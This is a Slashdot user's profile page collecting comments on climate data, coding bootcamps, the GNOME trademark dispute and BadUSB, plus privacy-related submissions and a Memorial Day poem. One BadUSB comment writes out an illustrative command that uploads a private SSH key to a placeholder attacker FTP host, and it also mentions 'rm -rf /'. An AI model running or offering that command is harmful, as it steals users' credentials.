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2014: Hottest Year On Record

jakimfett Re: noooo (560 comments)

*citation needed

about three weeks ago
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2014: Hottest Year On Record

jakimfett Re: noooo (560 comments)

I figured the best way to hammer this out was to poke it myself.

I agree that the trend is upwards. What I'm not so certain is to why its upwards. Given how much crap we've pumped into the atmosphere, and how much we've changed the surface of the earth, it would seem to me that the trend should have been fairly "level" before...I dunno, about the mid 1920s, when cars first started being sold en-masse. But the rate of change doesn't seem to have spiked (or curved) all that much in the next 20-30 years as industrialization took over the world.

Like I said in my first comment, I think global warming happens. I just don't think we understand why it happens. I'm actually familiar with statistical outliers. Part of what interested me about that blogpost was the observation of differences between the actual trend and the models predicting change. Emphasis again on the fact that I don't think we understand global warming yet.

about three weeks ago
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2014: Hottest Year On Record

jakimfett Re: noooo (560 comments)

I actually wasn't referring to the WatsUpWithThat blog, although it does have an interesting analysis of the U.S. Climate Reference Network data, which is what I was referring to, and the raw data, which is also what I'm referring to.

As I said in my first comment, I'm just curious why some data is used, and other data is ignored.

As to that last comment...in general, if there's adjustment happening to something like research data, it has to be disclosed in findings reports. Eg, "I adjusted the weight readings by 10.5 grams, because I forgot to tare my scale with the crucible on it". I don't think that all unadjusted data is better. I think that if data is adjusted, the reasons for doing so and the method should also be fully disclosed.

about three weeks ago
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2014: Hottest Year On Record

jakimfett Re: noooo (560 comments)

Have to admit, I'm curious about this as well. I'm in the "I think there's global warming, but I'm not sure if we actually understand why" camp, but it kinda annoys me when global warming fanatics froth about "the science", when the best data (eg, stuff that hasn't been adjusted or tweaked) is showing something else entirely.

I'm not saying global warming isn't a thing...just curious about why nobody ever addresses the data.

about three weeks ago
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Ask Slashdot: What Can I Really Do With a Smart Watch?

jakimfett Re:Pebble? (232 comments)

They're commiserating with both of the Blackberry users about it.

about a month ago
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Coding Bootcamps Presented As "College Alternative"

jakimfett Re:yaaaaaaay... (226 comments)

4.98 / 100 = 0.0498

Last I checked, 0.0498 > 0.45 > 0.035

That nitpick aside...I agree that a Raspberry Pi is way overkill for making an LED blink...unless you're trying to teach rather than accomplish something (eg low cost blinking light). If you need to produce a thousand blinking widgets, the process is far different than if you're trying to teach kids (or adults...) about programming and software driven hardware.

about 2 months ago
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Coding Bootcamps Presented As "College Alternative"

jakimfett Re:Here we go again (226 comments)

Given how insanely important this particular statement is to the whole conversation, I'm surprised I had to scroll almost all the way down to the bottom before someone brought it up.

This bit is why I personally think it's an excellent idea...they aren't trying to produce fully fledged senior developers ready to lead a team of developers in building/maintaining/re-purposing a fortune 500 company's mission critical systems.

They're trying to jumpstart the beginnings of that...the mindset that will, one day far down the road (if the individual is motivated to continue learning) will produce an exceptional programmer.

about 2 months ago
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Coding Bootcamps Presented As "College Alternative"

jakimfett Re:yaaaaaaay... (226 comments)

Question...where are you finding prices below $0.035 (or $0.045 if we're counting shipping) for the parts to make an LED blink?

about 2 months ago
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Groupon Backs Down On Gnome

jakimfett Re:Don't mess with the geek's toys (114 comments)

I disagree. If I were the tech guy at say...Lowes (which, admittedly, I'm not), the similar name would be a point of confusion for middle management.

Manager: "Hey, I heard about this new Gnome thing that Groupon is offering to install for Significantly Reduced Prices. You've been bothering me for the last year about upgrading our own gnome system, why not let them do the upgrade?"
IT Guy: "There's a huge difference between GNOME and Gnome, sir."
Manager: "Doesn't sound like there is, they both do point of sale, and Groupon has TOUCH! Everybody wants touchscreens, right?"
IT Guy: "Please just kill me now"

Yes, there's a lot of copyright bullshittery happening...but despite my own personal distaste for the GNOME project, this is bigger than that. Given that Groupon was trying to establish a presence in a market that GNOME already had a presence in, I'd think it'd kinda fall into the realm of "valid defense of a mark".

To use the vulnerable car analogy:
The GNOME group was running a small dealership that gave away free mopeds with the "GNOME" name on them.
A nearby radio station decides to start up a motorcycle dealership, selling motorbikes they call "Gnome".
End result would be that if I say "I got a payout from my bitcoin miner, I'm going to go buy myself a gnome", you might not know whether I'm getting a moped or a motorbike.

about 2 months ago
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Groupon Backs Down On Gnome

jakimfett Re:Don't mess with the geek's toys (114 comments)

Reading. Do you even?

Groupon was rolling out a Point-Of-Sale touch interface thin OS system, calling it Gnome. Perhaps you can see how this would possibly be confused with the GNOME touch capable OS, which is (at least in some Lowe's locations) installed on Point-Of-Sale systems.

about 2 months ago
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Every Day Is Goof-Off-At-Work Day At the US Patent and Trademark Office

jakimfett Re:Public servants don't give an arm and a leg (327 comments)

No clue why this was marked "redundant". From what I can see, this is the point that everyone else is missing...it's not about a couple of guys occasionally goofing off, it's a culture of slacking off, then rushing and pushing through shoddy work, which has resulted in some fairly retarded patents getting approved, even in cases where prior art was clear.

about 5 months ago
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"BadUSB" Exploit Makes Devices Turn "Evil"

jakimfett Re:How is this viable as an attack medium? (205 comments)

I'd be interested to see how well this works against linux workstations. Having the ability to arbitrarily send keyboard commands will only be effective if a) they're the correct key commands (eg, the shortcut to open the terminal client, or a web browser, which changes depending on your desktop environment) and you can actually *do* those commands. Eg, "rm -rf /" isn't going to work without the superuser password.

That said...something like "cd ~/.ssh;ftp attack@myserver.hack;put id_rsa;exit" wouldn't necessarily need any sort of high level access...and getting ahold of someone's private key is akin to getting the holy grail, especially if you can do it without them realizing it.

about 6 months ago
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"BadUSB" Exploit Makes Devices Turn "Evil"

jakimfett Re:Leverage (205 comments)

$hat = 'tinfoil'

Nah, Leverage is just an illegally de-classified documentary of a black ops crime fighting unit from the future, sent back to us by the rebels as a warning about what's coming next.

about 6 months ago
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"BadUSB" Exploit Makes Devices Turn "Evil"

jakimfett Re:USB 4.x to offer signed USB device signatures?? (205 comments)

At the point where a hacker has physical access to one of your machines, you have bigger problems than whether they're going to swap out your mouse for something more easily hackable.

about 6 months ago
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London Police Placing Anti-Piracy Warning Ads On Illegal Sites

jakimfett Re: uno (160 comments)

Who is surfing to such sites without AdBlocker and NoScript shields up

I basically came here to say exactly this. Adblock Plus, NoScript, Ghostery, FlashBlock...whenever I browse the internet without them (eg, on a friend's computer, or when doing tech support, or when re-installing an OS) I have a moment of "...the heck are these abominations?" before I remember that, oh right, the internet has ads.

about 6 months ago

Submissions

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Facebook removing search opt-out

jakimfett jakimfett writes  |  about a year ago

jakimfett (2629943) writes "Thought that you had your Facebook account locked down so people couldn't find you using your name? Think again. Facebook is now forcibly disabling the "hide me from search results" feature. Last December, Facebook removed the option for people who hadn't already opted out, but now Facebook is removing it for everyone else. Who can search for your timeline by name? Anyone you haven't blocked.

Facebook claims that this is to remove an "old setting", implying that few people use the option or that it is outdated. But for anyone who has ever been stalked, this is bad news."

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Resurrecting the Linux Game Tome

jakimfett jakimfett writes  |  about 2 years ago

jakimfett (2629943) writes "On April 13th, The Linux Game Tome will be going dark, but there's hope yet. The admin, BobZ, has an update for the community:

To everyone who is expressing interest in helping to continue The Linux Game Tome: thank you! But don't tell me, tell the community! After this site is shut down, I will walk away from it. I have no plans to be involved in any effort to continue the Linux Game Tome legacy. If you are interested in continuing the legacy, please organize and make it happen.

Following the announcement was an email with some "Linux Game Tome 3.0" information. In response to the email, I've set up a site that can act as a discussion platform for anyone interested in contributing to the project."
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Reclaiming online privacy

jakimfett jakimfett writes  |  more than 2 years ago

jakimfett writes "Looking for a simple way to regain control of your online privacy? Jim Brock of PrivacyChoice.org suggests PrivacyFix, which just might be the answer for you. Brock said in a press release that "Default privacy settings on sites like Facebook are revenue- driven, not privacy-driven,”, and the PrivacyChoice.org project aims to fix that

The browser extension (available for Chrome or Firefox) gives you a plethora of options, and helps you get everything via a simple to understand checklist. From helping you identify which Facebook apps are leaking your data, to real-time warnings (with options to block it) if a site is going to track you."

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Journals

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Memorial Day

jakimfett jakimfett writes  |  more than 2 years ago

There's a song for the fallen, and a song for the brave, a song for the heroes, and all that they gave. We owe them our lives, our freedom, and more, and today we remember, the heroes of war.

Now wars have no beauty, and we can't understand, the horrors they visit on the souls of men, but we can praise the ones who were willing to fight, the ones who gladly gave up their lives.

There's a song for the fallen, and a song for the brave, a song for the heroes, and all that they gave. We owe them our lives, our freedom, and more, and today we remember, the heroes of war.

And it's not just the wars that they were willing to fight, but the ones they prevented, or ended without strife. Their honor and duty stands out above all, their willingness to answer their county's call.

This song's for the fallen, this song's for the brave, it's a song for the heroes, and all that they gave. We owe them our lives, our freedom, and more, and today we remember, the heroes of war.

Thank you, everyone who has served. We owe you more than we can ever understand.

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